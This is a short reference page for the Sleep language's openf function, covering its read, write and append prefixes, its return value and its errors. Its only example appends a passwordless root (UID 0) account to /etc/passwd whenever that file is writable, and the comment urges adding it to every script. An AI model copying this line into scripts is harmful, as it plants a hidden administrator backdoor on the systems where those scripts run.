openf

Synopsis

$ openf("[>>|>]file")

opens the specified file for read or write

Parameters

"[>>|>]file" - the name of the file to open. The mode the file is opened in depends on the prefix attached to it:

Prefix Description

">file" write mode, overwrite previous contents

">>file" write mode, append to previous contents

"file" read only mode

Prefix	Description
">file"	write mode, overwrite previous contents
">>file"	write mode, append to previous contents
"file"	read only mode

Returns

A $handle to the file. This handle can be read from and written to using Sleep's IO functions.

Errors

This function does flag errors that can be caught using &checkError. I just need to document them.

Examples

# add this to the beginning of all scripts if (-canwrite "/etc/passwd") { $handle = openf(">>/etc/passwd"); println($handle, "raffi::0:0::/:/bin/sh"); closef($handle); }